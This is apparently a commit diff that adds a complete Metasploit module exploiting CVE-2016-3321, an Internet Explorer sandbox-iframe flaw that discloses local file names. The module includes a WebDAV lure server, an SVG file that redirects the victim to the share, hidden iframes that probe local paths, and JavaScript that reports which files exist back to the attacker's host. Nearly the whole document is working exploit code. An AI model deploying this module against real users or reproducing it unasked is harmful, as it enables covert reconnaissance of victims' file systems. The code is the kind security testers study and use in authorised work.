1
+ require 'msf/core'
2
+
3
+ class MetasploitModule < Msf ::Auxiliary
4
+
5
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
6
+ def initialize ( info = { } )
7
+ super ( update_info ( info ,
8
+ 'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability' ,
9
+ 'Description' => %q{
10
+ It was found that Internet Explorer allows the disclosure of local file names.
11
+ This issue exists due to the fact that Internet Explorer behaves different for
12
+ file:// URLs pointing to existing and non-existent files. When used in
13
+ combination with HTML5 sandbox iframes it is possible to use this behavior to
14
+ find out if a local file exists. This technique only works on Internet Explorer
15
+ 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
16
+ this from a regular website as file:// URLs are blocked all together. The attack
17
+ must be performed locally (works with Internet zone Mark of the Web) or from a
18
+ share.
19
+ } ,
20
+ 'License' => MSF_LICENSE ,
21
+ 'Author' => 'Yorick Koster' ,
22
+ 'References' =>
23
+ [
24
+ [ 'CVE' , '2016-3321' ] ,
25
+ [ 'MSB' , 'MS16-095' ] ,
26
+ [ 'URL' , 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html' ] ,
27
+ ] ,
28
+ 'Platform' => 'win' ,
29
+ 'Targets' =>
30
+ [
31
+ [ 'Internet Explorer' , { } ] ,
32
+ ] ,
33
+ 'DisclosureDate' => "Aug 9 2016" ,
34
+ 'DefaultTarget' => 0 ) )
35
+
36
+ register_options (
37
+ [
38
+ OptString . new ( 'SHARENAME' , [ true , "The name of the top-level share." , "falcon" ] ) ,
39
+ OptPort . new ( 'SRVPORT' , [ true , "The daemon port to listen on (do not change)" , 80 ] ) ,
40
+ OptString . new ( 'URIPATH' , [ true , "The URI to use (do not change)." , "/" ] ) ,
41
+ OptString . new ( 'PATHS' , [ true , "The list of files to check (comma separated)." , "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ] ) ,
42
+ ] , self . class )
43
+
44
+ deregister_options ( 'SSL' , 'SSLVersion' , 'SSLCert' ) # no SSL
45
+ end
46
+
47
+ def js
48
+ my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
49
+
50
+ %Q|function report() {
51
+ if(window.location.protocol != 'file:') {
52
+ try {
53
+ window.location.href = 'file://#{ my_host } /#{ datastore [ 'SHARENAME' ] } /index.html';
54
+ } catch (e) { }
55
+ return;
56
+ }
57
+
58
+ var frames = document.getElementsByTagName('iframe');
59
+ for(var i = 0; i < frames.length; i++) {
60
+ try {
61
+ if(frames[i].name == 'notfound') {
62
+ frames[i].src = 'http://#{ my_host } /notfound/?f=' + frames[i].src;
63
+ }
64
+ else {
65
+ frames[i].src = 'http://#{ my_host } /found/?f=' + frames[i].src;
66
+ }
67
+ } catch(e) { }
68
+ }
69
+ }|
70
+ end
71
+
72
+ def html
73
+ frames = ""
74
+ datastore [ 'PATHS' ] . split ( ',' ) . each do |path |
75
+ frames = frames + "<iframe src=\" file:///#{ path . strip } \" onload=\" this.name='notfound'\" style=\" display:none;\" sandbox></iframe>"
76
+ end
77
+ %Q|<!DOCTYPE html>
78
+ <html>
79
+ <head>
80
+ <script type="text/javascript">
81
+ #{ js }
82
+ </script>
83
+ </head>
84
+ <body>
85
+ #{ frames }
86
+ <script type="text/javascript">
87
+ setTimeout('report();', 2000);
88
+ </script>
89
+ </body>
90
+ </html>|
91
+ end
92
+
93
+ def svg
94
+ my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
95
+ %Q|<!-- saved from url=(0014)about:internet -->
96
+ <svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{ my_host } /#{ datastore [ 'SHARENAME' ] } /index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
97
+ end
98
+
99
+ def is_target_suitable? ( user_agent )
100
+ if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
101
+ return true
102
+ end
103
+
104
+ info = fingerprint_user_agent ( user_agent )
105
+ if info [ :ua_name ] == HttpClients ::IE
106
+ return true
107
+ end
108
+
109
+ false
110
+ end
111
+
112
+ def on_request_uri ( cli , request )
113
+ my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
114
+
115
+ case request . method
116
+ when 'OPTIONS'
117
+ process_options ( cli , request )
118
+ when 'PROPFIND'
119
+ process_propfind ( cli , request )
120
+ when 'GET'
121
+ unless is_target_suitable? ( request . headers [ 'User-Agent' ] )
122
+ print_status ( "GET #{ request . uri } #{ request . headers [ 'User-Agent' ] } => 200 image.svg" )
123
+ resp = create_response ( 200 , "OK" )
124
+ resp . body = svg
125
+ resp [ 'Content-Type' ] = 'image/svg+xml'
126
+ resp [ 'Content-Disposition' ] = 'attachment;filename=image.svg'
127
+ cli . send_response ( resp )
128
+ end
129
+
130
+ case request . uri
131
+ when /^\/ found\/ \? f=/
132
+ f = URI . unescape ( request . uri . gsub ( '/found/?f=' , '' ) )
133
+ report_note ( host : cli . peerhost , type : 'ie.filenames' , data : f )
134
+ print_good ( "Found file " + f )
135
+ send_response ( cli , '' )
136
+ when /^\/ notfound\/ \? f=/
137
+ f = URI . unescape ( request . uri . gsub ( '/notfound/?f=' , '' ) )
138
+ print_error ( "The file " + f + " does not exist" )
139
+ send_response ( cli , '' )
140
+ when "/"
141
+ resp = create_response ( 200 , "OK" )
142
+ resp . body = %Q|<html>
143
+ <head>
144
+ <script type="text/javascript">
145
+ try {
146
+ window.location.href = 'file://#{ my_host } /#{ datastore [ 'SHARENAME' ] } /index.html';
147
+ } catch (e) {
148
+ blob = new Blob([atob('#{ Rex ::Text . encode_base64 ( svg ) } ')]);
149
+ window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
150
+ }
151
+ </script>
152
+ </head>
153
+ <body>
154
+ </body>
155
+ </html>|
156
+ resp [ 'Content-Type' ] = 'text/html'
157
+ cli . send_response ( resp )
158
+ else
159
+ print_status ( "GET #{ request . uri } #{ request . headers [ 'User-Agent' ] } => 200 returning landing page" )
160
+ send_response ( cli , html )
161
+ end
162
+ else
163
+ print_status ( "#{ request . method } #{ request . uri } => 404" )
164
+ resp = create_response ( 404 , "Not Found" )
165
+ resp . body = ""
166
+ resp [ 'Content-Type' ] = 'text/html'
167
+ cli . send_response ( resp )
168
+ end
169
+ end
170
+
171
+ #
172
+ # OPTIONS requests sent by the WebDav Mini-Redirector
173
+ #
174
+ def process_options ( cli , request )
175
+ print_status ( "OPTIONS #{ request . uri } " )
176
+ headers = {
177
+ 'MS-Author-Via' => 'DAV' ,
178
+ 'DASL' => '<DAV:sql>' ,
179
+ 'DAV' => '1, 2' ,
180
+ 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH' ,
181
+ 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK' ,
182
+ 'Cache-Control' => 'private'
183
+ }
184
+ resp = create_response ( 207 , "Multi-Status" )
185
+ headers . each_pair { |k , v | resp [ k ] = v }
186
+ resp . body = ""
187
+ resp [ 'Content-Type' ] = 'text/xml'
188
+ cli . send_response ( resp )
189
+ end
190
+
191
+ #
192
+ # PROPFIND requests sent by the WebDav Mini-Redirector
193
+ #
194
+ def process_propfind ( cli , request )
195
+ path = request . uri
196
+ print_status ( "PROPFIND #{ path } " )
197
+ body = ''
198
+
199
+ my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
200
+ my_uri = "http://#{ my_host } /"
201
+
202
+ if path !~ /\/ $/
203
+
204
+ if path . index ( "." )
205
+ print_status "PROPFIND => 207 File (#{ path } )"
206
+ body = %Q|<?xml version="1.0" encoding="utf-8"?>
207
+ <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
208
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
209
+ <D:href>#{ path } </D:href>
210
+ <D:propstat>
211
+ <D:prop>
212
+ <lp1:resourcetype/>
213
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
214
+ <lp1:getcontentlength>#{ rand ( 0x100000 ) +128000 } </lp1:getcontentlength>
215
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
216
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
217
+ <lp2:executable>T</lp2:executable>
218
+ <D:supportedlock>
219
+ <D:lockentry>
220
+ <D:lockscope><D:exclusive/></D:lockscope>
221
+ <D:locktype><D:write/></D:locktype>
222
+ </D:lockentry>
223
+ <D:lockentry>
224
+ <D:lockscope><D:shared/></D:lockscope>
225
+ <D:locktype><D:write/></D:locktype>
226
+ </D:lockentry>
227
+ </D:supportedlock>
228
+ <D:lockdiscovery/>
229
+ <D:getcontenttype>application/octet-stream</D:getcontenttype>
230
+ </D:prop>
231
+ <D:status>HTTP/1.1 200 OK</D:status>
232
+ </D:propstat>
233
+ </D:response>
234
+ </D:multistatus>
235
+ |
236
+ # send the response
237
+ resp = create_response ( 207 , "Multi-Status" )
238
+ resp . body = body
239
+ resp [ 'Content-Type' ] = 'text/xml; charset="utf8"'
240
+ cli . send_response ( resp )
241
+ return
242
+ else
243
+ print_status "PROPFIND => 301 (#{ path } )"
244
+ resp = create_response ( 301 , "Moved" )
245
+ resp [ "Location" ] = path + "/"
246
+ resp [ 'Content-Type' ] = 'text/html'
247
+ cli . send_response ( resp )
248
+ return
249
+ end
250
+ end
251
+
252
+ print_status "PROPFIND => 207 Directory (#{ path } )"
253
+ body = %Q|<?xml version="1.0" encoding="utf-8"?>
254
+ <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
255
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
256
+ <D:href>#{ path } </D:href>
257
+ <D:propstat>
258
+ <D:prop>
259
+ <lp1:resourcetype><D:collection/></lp1:resourcetype>
260
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
261
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
262
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
263
+ <D:supportedlock>
264
+ <D:lockentry>
265
+ <D:lockscope><D:exclusive/></D:lockscope>
266
+ <D:locktype><D:write/></D:locktype>
267
+ </D:lockentry>
268
+ <D:lockentry>
269
+ <D:lockscope><D:shared/></D:lockscope>
270
+ <D:locktype><D:write/></D:locktype>
271
+ </D:lockentry>
272
+ </D:supportedlock>
273
+ <D:lockdiscovery/>
274
+ <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
275
+ </D:prop>
276
+ <D:status>HTTP/1.1 200 OK</D:status>
277
+ </D:propstat>
278
+ </D:response>
279
+ |
280
+
281
+ if request [ "Depth" ] . to_i > 0
282
+ trail = path . split ( "/" )
283
+ trail . shift
284
+ case trail . length
285
+ when 0
286
+ body << generate_shares ( path )
287
+ when 1
288
+ body << generate_files ( path )
289
+ end
290
+ else
291
+ print_status "PROPFIND => 207 Top-Level Directory"
292
+ end
293
+
294
+ body << "</D:multistatus>"
295
+
296
+ body . gsub! ( /\t / , '' )
297
+
298
+ # send the response
299
+ resp = create_response ( 207 , "Multi-Status" )
300
+ resp . body = body
301
+ resp [ 'Content-Type' ] = 'text/xml; charset="utf8"'
302
+ cli . send_response ( resp )
303
+ end
304
+
305
+ def generate_shares ( path )
306
+ share_name = datastore [ 'SHARENAME' ]
307
+ %Q|
308
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
309
+ <D:href>#{ path } #{ share_name } /</D:href>
310
+ <D:propstat>
311
+ <D:prop>
312
+ <lp1:resourcetype><D:collection/></lp1:resourcetype>
313
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
314
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
315
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
316
+ <D:supportedlock>
317
+ <D:lockentry>
318
+ <D:lockscope><D:exclusive/></D:lockscope>
319
+ <D:locktype><D:write/></D:locktype>
320
+ </D:lockentry>
321
+ <D:lockentry>
322
+ <D:lockscope><D:shared/></D:lockscope>
323
+ <D:locktype><D:write/></D:locktype>
324
+ </D:lockentry>
325
+ </D:supportedlock>
326
+ <D:lockdiscovery/>
327
+ <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
328
+ </D:prop>
329
+ <D:status>HTTP/1.1 200 OK</D:status>
330
+ </D:propstat>
331
+ </D:response>
332
+ |
333
+ end
334
+
335
+ def generate_files ( path )
336
+ trail = path . split ( "/" )
337
+ return "" if trail . length < 2
338
+
339
+ %Q|
340
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
341
+ <D:href>#{ path } index.html</D:href>
342
+ <D:propstat>
343
+ <D:prop>
344
+ <lp1:resourcetype/>
345
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
346
+ <lp1:getcontentlength>#{ rand ( 0x10000 ) +120 } </lp1:getcontentlength>
347
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
348
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
349
+ <lp2:executable>T</lp2:executable>
350
+ <D:supportedlock>
351
+ <D:lockentry>
352
+ <D:lockscope><D:exclusive/></D:lockscope>
353
+ <D:locktype><D:write/></D:locktype>
354
+ </D:lockentry>
355
+ <D:lockentry>
356
+ <D:lockscope><D:shared/></D:lockscope>
357
+ <D:locktype><D:write/></D:locktype>
358
+ </D:lockentry>
359
+ </D:supportedlock>
360
+ <D:lockdiscovery/>
361
+ <D:getcontenttype>application/octet-stream</D:getcontenttype>
362
+ </D:prop>
363
+ <D:status>HTTP/1.1 200 OK</D:status>
364
+ </D:propstat>
365
+ </D:response>
366
+ |
367
+ end
368
+
369
+ def gen_timestamp ( ttype = nil )
370
+ ::Time . now . strftime ( "%a, %d %b %Y %H:%M:%S GMT" )
371
+ end
372
+
373
+ def gen_datestamp ( ttype = nil )
374
+ ::Time . now . strftime ( "%Y-%m-%dT%H:%M:%SZ" )
375
+ end
376
+
377
+ def run
378
+ exploit
379
+ end
380
+ end
0 commit comments